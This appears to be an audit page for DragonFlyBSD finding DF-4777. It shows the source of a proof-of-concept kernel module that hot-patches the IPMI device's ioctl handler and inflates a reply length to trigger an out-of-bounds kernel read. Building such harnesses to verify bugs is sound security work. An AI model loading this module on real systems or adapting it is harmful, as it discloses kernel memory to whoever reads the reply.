⬢ DragonFlyBSD Kernel Audit
DF-4777 / bumpko.c
← back to finding ↓ download raw
/*
 * DF-4777 PoC harness (kernel module, root-only load).
 *
 * Purpose: emulate the transport half of a hostile BMC for the DF-4777
 * sink verification. A real BMC that streams more than IPMI_MAX_RX (1024)
 * data bytes in KCS READ state makes kcs_polled_request() record
 * ir_replylen > ir_replybuflen (ipmi_kcs.c:410-432). The stock QEMU
 * ipmi-bmc-sim caps responses at MAX_IPMI_MSG_SIZE=255 bytes, so this
 * module reproduces exactly that end state on the completed request:
 * it sets kreq->ir_replylen = hw.bumpreplylen on the head of the
 * calling fd's completed queue, just before the driver's real ioctl
 * runs. Everything after that (the copyout OOB read at ipmi.c:448-468)
 * is the unmodified stock kernel.
 *
 * It hot-patches ipmi0's dev_ops.d_ioctl with a wrapper (restored on
 * unload). It does NOT modify any ipmi driver logic.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>		/* M_NOWAIT */
#include <sys/sysctl.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/devfs.h>
#include <sys/bus.h>
#include <sys/queue.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/callout.h>
#include <machine/atomic.h>
#include <sys/ipmi.h>

#include "dev/misc/ipmi/ipmivars.h"

static d_ioctl_t *orig_ioctl;
static struct ipmi_softc *saved_sc;
static int patched;
static volatile int inflight;
static int bump_len;

static int bump_ioctl(struct dev_ioctl_args *ap);

static int
do_patch(void)
{
	devclass_t dc;
	device_t dev;
	struct ipmi_softc *sc;
	struct dev_ops *ops;

	dc = devclass_find("ipmi");
	if (dc == NULL)
		return (ENODEV);
	dev = devclass_get_device(dc, 0);
	if (dev == NULL)
		return (ENODEV);
	sc = device_get_softc(dev);
	if (sc == NULL || sc->ipmi_cdev == NULL || sc->ipmi_cdev->si_ops == NULL)
		return (ENXIO);
	ops = sc->ipmi_cdev->si_ops;
	if (ops->d_ioctl == NULL)
		return (ENXIO);
	if ((d_ioctl_t *)ops->d_ioctl != orig_ioctl && patched)
		return (EBUSY);		/* someone else patched it */
	if (!patched) {
		orig_ioctl = ops->d_ioctl;
		ops->d_ioctl = bump_ioctl;
		saved_sc = sc;
		patched = 1;
		kprintf("bumpko: patched ipmi0 dev_ops.d_ioctl (%p -> %p)\n",
		    orig_ioctl, ops->d_ioctl);
	}
	return (0);
}

static int
bump_ioctl(struct dev_ioctl_args *ap)
{
	int rv;

	if (bump_len > 0 && (ap->a_cmd == IPMICTL_RECEIVE_MSG_TRUNC ||
	    ap->a_cmd == IPMICTL_RECEIVE_MSG)) {
		struct ipmi_device *idev = NULL;

		if (devfs_get_cdevpriv(ap->a_fp, (void **)&idev) == 0 &&
		    idev != NULL && idev->ipmi_softc != NULL) {
			struct ipmi_softc *sc = idev->ipmi_softc;
			struct ipmi_request *kreq;

			IPMI_LOCK(sc);
			kreq = TAILQ_FIRST(&idev->ipmi_completed_requests);
			if (kreq != NULL) {
				kreq->ir_replylen = bump_len;
				kprintf("bumpko: head req %p ir_replylen -> %d"
				    " (buflen %zd)\n", kreq, bump_len,
				    kreq->ir_replybuflen);
			}
			IPMI_UNLOCK(sc);
		}
	}
	atomic_add_int(&inflight, 1);
	rv = orig_ioctl(ap);
	atomic_subtract_int(&inflight, 1);
	return (rv);
}

static int
sysctl_bump(SYSCTL_HANDLER_ARGS)
{
	int error, v = bump_len;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (v != 0 && !patched) {
		error = do_patch();
		if (error)
			return (error);
	}
	bump_len = v;
	return (0);
}
SYSCTL_PROC(_hw, OID_AUTO, bumpreplylen, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_bump, "I", "DF-4777 hostile-BMC emulation: ir_replylen");

static int
bumpko_unload(void)
{
	if (patched) {
		while (inflight > 0)
			tsleep(&inflight, 0, "bumpdrain", hz / 10);
		saved_sc->ipmi_cdev->si_ops->d_ioctl = orig_ioctl;
		kprintf("bumpko: restored ipmi0 d_ioctl\n");
		patched = 0;
	}
	return (0);
}

static int
bumpko_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("bumpko: loaded (write hw.bumpreplylen=<n> to arm)\n");
		return (0);
	case MOD_UNLOAD:
		return (bumpko_unload());
	default:
		return (EOPNOTSUPP);
	}
	return (0);
}

DEV_MODULE(bumpko, bumpko_modevent, NULL);